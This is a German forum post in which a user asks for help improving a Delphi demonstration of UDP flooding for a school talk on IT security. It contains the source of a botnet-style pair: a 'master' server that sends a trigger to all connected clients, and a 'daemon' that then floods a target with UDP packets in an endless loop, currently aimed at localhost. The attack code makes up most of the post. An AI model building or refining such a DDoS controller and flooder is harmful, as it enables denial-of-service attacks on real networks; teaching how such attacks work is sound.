UDP-Flooding

[kampfgumi]

Moin,

ich habe demnächst einen Vortrag in meiner Klasse indem es über IT-Sicherheit geht. Vorrangig möchte ich eine der simpelsten Attacken, im Internet, in einem Beispiel zeigen(UDP-Flooding).
Hierbei geht es nur um die Funktionsweise der Attacke und ihre Auswirkungen.


Mein Deamon:

Const MeinPort=12345;

Procedure DDos;
begin
  while Form1.Active do
  begin
    Form1.UDPClient.Send('127.0.0.1',MeinPort,'Hallo'); //IP war nur ein Test
  end;
end;

procedure TForm1.ButtonBeendenClick(Sender: TObject);
begin
Close;
end;

procedure TForm1.Client1Read(Sender: TObject; Socket: TCustomWinSocket);
begin
DDos;
end;

procedure TForm1.FormCreate(Sender: TObject);
begin
Client1.Port:=MeinPort;
Client1.Host:='127.0.0.1'; //IP war nur ein Test
Client1.Active:=True;
end;

Mein Master:

Const MeinPort=12345;

procedure TForm1.ButtonDDosClick(Sender: TObject);
  var
    i: Integer;
begin
  for i := 0 to Server1.Socket.ActiveConnections-1 do
    Server1.Socket.Connections[i].SendText('A');
end;

procedure TForm1.FormCreate(Sender: TObject);
begin
Server1.Port:=MeinPort;
Server1.Open;
end;

Entschuldigt bitte eventuelle Rechtschreibfehler sowie meine Fehler im Quelltext, ich besitze keine großartigen Kenntnisse in Delphi, versuche mich aber immer stets weiterzubilden.
Ich bitte keine Kommentare wie "UDP-Flooding ist Skriptkiddy-Müll"
Ich bitte um Verbesserungsvorschläge um es noch deutlicher und einfacher zu zeigen.